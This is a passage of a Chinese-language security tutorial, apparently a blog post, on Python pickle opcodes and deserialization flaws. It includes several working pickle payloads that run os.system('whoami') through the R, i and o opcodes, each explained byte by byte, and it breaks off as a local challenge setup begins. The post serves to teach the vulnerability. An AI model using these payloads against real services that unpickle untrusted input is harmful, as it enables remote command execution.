style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#998418;--shiki-dark:#B8A965\">  __init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">age</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">18</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">friends</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Chesmond and Arache</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Web</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">opcode</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pickle</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">dumps</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Web</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">opcode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">==========</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">WEB</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pickle</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">loads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">opcode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">WEB</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>他的输出结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>b'\\x80\\x03c__main__\\nZLARYY\\nq\\x00)\\x81q\\x01&#125;q\\x02(X\\x03\\x00\\x00\\x00ageq\\x03K\\x12X\\x04\\x00\\x00\\x00flagq\\x04X\\x0e\\x00\\x00\\x00ZLARYY&#123;2L47yY&#125;q\\x05X\\x07\\x00\\x00\\x00friendsq\\x06X\\x13\\x00\\x00\\x00Chesmond and Aracheq\\x07ub.'</span></span>\n<span class=\"line\"><span>==========</span></span>\n<span class=\"line\"><span>&#x3C;__main__.ZLARYY object at 0x000001C061A19108></span></span></code></pre>\n<p>其中第一段就是我们的opcode</p>\n<h2 id=\"opcode\"><a class=\"anchor\" href=\"#opcode\">#</a> opcode</h2>\n<p>那什么是opcode？Pickle本质上自带了一个虚拟机（PVM-Pickle Virtual Machine），为了让这个虚拟机工作，Python的创造者专门发明了一套pickle专属指令集，也就是Pickle Opcode</p>\n<p>在Python的pickle.py中，我们能够找到所有的opcode及其解释，常用的opcode如下，这里我们以V0版本为例</p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align:left\">指令</th>\n<th style=\"text-align:left\">描述</th>\n<th style=\"text-align:left\">具体写法</th>\n<th style=\"text-align:left\">栈上的变化</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align:left\">c</td>\n<td style=\"text-align:left\">获取一个全局对象或import一个模块</td>\n<td style=\"text-align:left\">c[module]\\n[instance]\\n</td>\n<td style=\"text-align:left\">获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">o</td>\n<td style=\"text-align:left\">寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）</td>\n<td style=\"text-align:left\">o</td>\n<td style=\"text-align:left\">这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">i</td>\n<td style=\"text-align:left\">相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）</td>\n<td style=\"text-align:left\">i[module]\\n[callable]\\n</td>\n<td style=\"text-align:left\">这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">N</td>\n<td style=\"text-align:left\">实例化一个None</td>\n<td style=\"text-align:left\">N</td>\n<td style=\"text-align:left\">获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">S</td>\n<td style=\"text-align:left\">实例化一个字符串对象</td>\n<td style=\"text-align:left\">S'xxx'\\n（也可以使用双引号、'等python字符串形式）</td>\n<td style=\"text-align:left\">获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">V</td>\n<td style=\"text-align:left\">实例化一个UNICODE字符串对象</td>\n<td style=\"text-align:left\">Vxxx\\n</td>\n<td style=\"text-align:left\">获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">I</td>\n<td style=\"text-align:left\">实例化一个int对象</td>\n<td style=\"text-align:left\">Ixxx\\n</td>\n<td style=\"text-align:left\">获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">F</td>\n<td style=\"text-align:left\">实例化一个float对象</td>\n<td style=\"text-align:left\">Fx.x\\n</td>\n<td style=\"text-align:left\">获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">R</td>\n<td style=\"text-align:left\">选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数</td>\n<td style=\"text-align:left\">R</td>\n<td style=\"text-align:left\">函数和参数出栈，函数的返回值入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">.</td>\n<td style=\"text-align:left\">程序结束，栈顶的一个元素作为pickle.loads()的返回值</td>\n<td style=\"text-align:left\">.</td>\n<td style=\"text-align:left\">无</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">(</td>\n<td style=\"text-align:left\">向栈中压入一个MARK标记</td>\n<td style=\"text-align:left\">(</td>\n<td style=\"text-align:left\">MARK标记入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">t</td>\n<td style=\"text-align:left\">寻找栈中的上一个MARK，并组合之间的数据为元组</td>\n<td style=\"text-align:left\">t</td>\n<td style=\"text-align:left\">MARK标记以及被组合的数据出栈，获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">)</td>\n<td style=\"text-align:left\">向栈中直接压入一个空元组</td>\n<td style=\"text-align:left\">)</td>\n<td style=\"text-align:left\">空元组入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">l</td>\n<td style=\"text-align:left\">寻找栈中的上一个MARK，并组合之间的数据为列表</td>\n<td style=\"text-align:left\">l</td>\n<td style=\"text-align:left\">MARK标记以及被组合的数据出栈，获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">]</td>\n<td style=\"text-align:left\">向栈中直接压入一个空列表</td>\n<td style=\"text-align:left\">]</td>\n<td style=\"text-align:left\">空列表入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">d</td>\n<td style=\"text-align:left\">寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对）</td>\n<td style=\"text-align:left\">d</td>\n<td style=\"text-align:left\">MARK标记以及被组合的数据出栈，获得的对象入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">}</td>\n<td style=\"text-align:left\">向栈中直接压入一个空字典</td>\n<td style=\"text-align:left\">}</td>\n<td style=\"text-align:left\">空字典入栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">p</td>\n<td style=\"text-align:left\">将栈顶对象储存至memo_n</td>\n<td style=\"text-align:left\">pn\\n</td>\n<td style=\"text-align:left\">无</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">g</td>\n<td style=\"text-align:left\">将memo_n的对象压栈</td>\n<td style=\"text-align:left\">gn\\n</td>\n<td style=\"text-align:left\">对象被压栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">0</td>\n<td style=\"text-align:left\">丢弃栈顶对象</td>\n<td style=\"text-align:left\">0</td>\n<td style=\"text-align:left\">栈顶对象被丢弃</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">b</td>\n<td style=\"text-align:left\">使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置</td>\n<td style=\"text-align:left\">b</td>\n<td style=\"text-align:left\">栈上第一个元素出栈</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">s</td>\n<td style=\"text-align:left\">将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中</td>\n<td style=\"text-align:left\">s</td>\n<td style=\"text-align:left\">第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">u</td>\n<td style=\"text-align:left\">寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中</td>\n<td style=\"text-align:left\">u</td>\n<td style=\"text-align:left\">MARK标记以及被组合的数据出栈，字典被更新</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">a</td>\n<td style=\"text-align:left\">将栈的第一个元素append到第二个元素(列表)中</td>\n<td style=\"text-align:left\">a</td>\n<td style=\"text-align:left\">栈顶元素出栈，第二个元素（列表）被更新</td>\n</tr>\n<tr>\n<td style=\"text-align:left\">e</td>\n<td style=\"text-align:left\">寻找栈中的上一个MARK，组合之间的数据并extends到该MARK之前的一个元素（必须为列表）中</td>\n<td style=\"text-align:left\">e</td>\n<td style=\"text-align:left\">MARK标记以及被组合的数据出栈，列表被更新</td>\n</tr>\n</tbody>\n</table>\n<p>以这段opcode为例我们来分析一下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>b'\\x80\\x03c__main__\\nZLARYY\\nq\\x00)\\x81q\\x01&#125;q\\x02(X\\x03\\x00\\x00\\x00ageq\\x03K\\x12X\\x04\\x00\\x00\\x00flagq\\x04X\\x0e\\x00\\x00\\x00ZLARYY&#123;2L47yY&#125;q\\x05X\\x07\\x00\\x00\\x00friendsq\\x06X\\x13\\x00\\x00\\x00Chesmond and Aracheq\\x07ub.'</span></span></code></pre>\n<p>这里最开头的b表示Bytes，目的是告诉python引号里面的内容是一串二进制原始数据，<code>Pickle.dumps()</code>生成的序列化数据永远返回的都是带<code>b</code>的字符串</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>\\x80\\x03c__main__\\nZLARYY\\n</span></span></code></pre>\n<p><code>\\80\\x03</code>：表示使用的是<code>Pickle Protocol 3</code>协议版本3，在本文开头的博客中有提到协议版本V0,V1,V2,V3,V4</p>\n<p><code>c__main__\\nZLARYY\\n</code>：使用了<code>c(GLOBAL)</code>指令，表示从当前的<code>__main__</code>运行环境中引入一个叫做ZLARYY的类</p>\n<p><strong>这两段用于声明协议和引入类</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>q\\x00)\\x81q\\x01</span></span></code></pre>\n<p><code>q\\x00</code>：使用了<code>q(BINPUT)</code>指令，表示把刚才引入的类存储到Memo的0号位置</p>\n<p><code>)</code>：<code>EMPTY_TUPLE</code>，在栈上放一个空元组</p>\n<p><code>\\x81</code>：<code>NEWOBJ</code>，表示使用刚才引入的<code>ZLARYY</code>类和空元组，在内存中实例化出一个没有任何属性的ZLARYY类的空对象</p>\n<p><code>q\\x01</code>：与<code>q\\x00</code>一样，将创建的实例对象存储到memo中，索引为1</p>\n<p><strong>这些用来实例化对象，这时候存储的对象中没有任何属性</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#125;q\\x02(X\\x03\\x00\\x00\\x00ageq\\x03K\\x12X\\x04\\x00\\x00\\x00flagq\\x04X\\x0e\\x00\\x00\\x00ZLARYY&#123;2L47yY&#125;q\\x05X\\x07\\x00\\x00\\x00friendsq\\x06X\\x13\\x00\\x00\\x00Chesmond and Aracheq\\x07u</span></span></code></pre>\n<p><code>&#125;</code>：<code>EMPTY_DICT</code>，表示在栈上创建一个空字典，准备用来存放对象的属性（也就是<code>__dict__</code>）</p>\n<p><code>(</code>：<code>MARK</code>，在栈上做一个标记，表示接下来压入栈的数据都属于这个字典的键值对</p>\n<p>接下来我们忽略掉用来暂存的q指令（只出现在键后面）</p>\n<p><code>X\\x03\\x00\\x00\\x00age</code>：表示第一个键值对的键<code>age</code>，其中<code>X</code>是一个opcode，官方代号叫做<code>BINUNICODE</code>，当PVM读到<code>X</code>就表示接下来要读取一个Unicode格式的字符串，不过由于PVM过于死板，光告诉他要读取字符串是不够的，还需要精确地告诉他字符串有几个字节，否则就会一直读下去，而查看具体有多少个字节就是靠<code>\\x03\\x00\\x00\\x00</code>，Pickle协议规定，为了能支持很长的字符串，跟在<code>X</code>指令后面的长度信息必须固定占据四个字节（32位整数）的空间，<code>\\x00</code>就是用来占位的0，<code>\\x03</code>表示长度为3，至于这里为什么<code>\\x03</code>排在前面是由于利用的<strong>小端序</strong>，在现代计算机底层，为了处理速度更快，内存存储数字是倒过来的，所以258个字节长度的字符串会表示为<code>\\x02\\x01\\x00\\x00</code></p>\n<p><code>K\\x12</code>：表示第一个键值对的值，<code>\\x12</code>为十六进制的整数18，<code>K</code>表示<code>BININT1</code>，读取范围为0-255的正整数，除此之外还有<code>M(BININT2)</code>表示读取两个字节的无符号整数(0~65535)，<code>J(BININT)</code>表示读取四个字节的有符号整数，能表示很大的正数或负数，<code>I(INT)</code>表示直接用纯文本存数字，以换行符<code>\\n</code>结尾：<code>I18\\n</code></p>\n<p>同样的可以类比接下来的<code>X\\x04\\x00\\x00\\x00flag</code>和<code>X\\x0e\\x00\\x00\\x00ZLARYY&#123;2L47yY&#125;</code></p>\n<p><code>u</code>：<code>SETITEMS</code>，遇到这个指令，PVM开始找<code>(</code>标记，把这期间所有的键值塞进之前创建的字典里，此时字典变成了：<code>&#123;'age': 18, 'flag': 'ZLARYY&#123;2L47yY&#125;', 'friends': 'Chesmond and Arache'&#125;</code></p>\n<p><strong>这些内容全部用来构建属性字典</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>b.</span></span></code></pre>\n<p><code>b</code>：<code>BUILD</code>，表示把刚做好的字典赋值给刚才创建的空对象<code>__dict__</code>属性，此时ZLARYY这个对象有了属性</p>\n<p><code>.</code>：<code>STOP</code>，在反序列化时表示反序列化结束，返回最终的对象</p>\n<p>而我们输出的<code>pickle.loads(opcode)</code>：<code>&lt;__main__.ZLARYY object at 0x000001C061A19108&gt;</code></p>\n<p>指明了这个对象属于<code>__main__</code>模块的ZLARYY类，最后的十六进制为内存地址</p>\n<h1 id=\"pickle反序列化漏洞\"><a class=\"anchor\" href=\"#pickle反序列化漏洞\">#</a> Pickle反序列化漏洞</h1>\n<p>我们介绍了正常情况下的pickle序列化字符串组成，但我们之前也提到了pickle解析能力大于执行能力，如果我们手动打出恶意的payload，那么就可能会出先RCE等漏洞</p>\n<p>就比如下面的代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> pickle</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#998418;--shiki-dark:#B8A965\">  __init__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">self</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">age</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">18</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">        self</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">friends</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Chesmond and Arache</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cos</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">(S'whoami'</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">tR.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">pickle</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">loads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/1.png\" class=\"\"></p>\n<p>关于这串payload有几个小细节：</p>\n<ol>\n<li>\n<p>这段payload使用的是pickle的第0版协议，在这个协议中，换行符作为分隔符使用，如果不使用多行字符串而强行将payload写成一行会变成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>payload = b'cos\\nsystem\\n(S\\'whoami\\'\\ntR.'</span></span></code></pre>\n</li>\n<li>\n<p>为了方便手动编写及阅读修改，通常采用多行字符串的方式，而且由于我们的pickle序列化字符串必须带上b，所以采用<code>b'''</code>的方式来书写多行<strong>字节串</strong></p>\n</li>\n</ol>\n<p>那么这段paylaod是怎么起作用的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>第一行：cos</span></span></code></pre>\n<p><code>c</code>：<code>GLOBAL</code>指令，之前提到是作为引入实例化对象，在这里是作为导入模块</p>\n<p><code>os</code>：模块名，这里PVM读到回车就表示模块名写完了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>第二行：system</span></span></code></pre>\n<p><code>system</code>：函数名，这里PVM读到回车表示函数名写完了，此时PVM将<code>os.system</code>这个函数放在了内存栈中</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>第三行：(S'whoami'</span></span></code></pre>\n<p><code>(</code>：<code>MARK</code>指令，作为标记</p>\n<p><code>S</code>：<code>STRING</code>指令，读取字符串</p>\n<p><code>'whoami'</code>：字符串内容，这里PVM读到回车就表示字符串读完了，把它压入栈中</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>第四行：tR.</span></span></code></pre>\n<p><code>t</code>：<code>TUPLE</code>指令，找到上一个<code>MARK</code>指令，并把之间的数据打包为元组：<code>('whoami',)</code></p>\n<p><code>R</code>：<code>REDUCE</code>指令，选择栈上的第一个对象作为函数，第二个对象作为参数（第二个对象必须是元组），然后调用该函数，也就是执行了<code>os.system('whoami')</code></p>\n<p><code>.</code>：<code>STOP</code>指令，表示结束运行</p>\n<h2 id=\"与函数执行相关的opcode\"><a class=\"anchor\" href=\"#与函数执行相关的opcode\">#</a> 与函数执行相关的opcode</h2>\n<h3 id=\"object__reduce__与r\"><a class=\"anchor\" href=\"#object__reduce__与r\">#</a> <code>object.__reduce__</code>与R</h3>\n<p>我们可以通过重写类的<code>object.__reduce__()</code>函数，使其在被实例化时按照重写的方式进行，Python要求该方法返回一个字符串或者元组。如果返回元组<code>(callable, ([para1,para2...])[,...])</code> ，那么每当该类的对象被反序列化时，该<code>callable</code>就会被调用，参数为<code>para1、para2...</code>，其实 R 正好对应 <code>object.__reduce__()</code> 函数， <code>object.__reduce__()</code> 的返回值会作为 R 的作用对象，当包含该函数的对象被pickle序列化时，得到的字符串是包含了 R 的</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cos</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">(S'whoami'</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">tR.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span></span></code></pre>\n<h3 id=\"i\"><a class=\"anchor\" href=\"#i\">#</a> i</h3>\n<p>在前文表格中提到过：i相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）</p>\n<p>用它写的paylaod如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">(S'whoami'</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ios</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'''</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/2.png\" class=\"\"></p>\n<h3 id=\"o\"><a class=\"anchor\" href=\"#o\">#</a> o</h3>\n<p>o可以寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>b'''(cos</span></span>\n<span class=\"line\"><span>system</span></span>\n<span class=\"line\"><span>S'whoami'</span></span>\n<span class=\"line\"><span>o.'''</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/20/Pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8EPython%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/3.png\" class=\"\"></p>\n<p>接下来我们尝试搭建一个本地环境测试一下，题目为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span 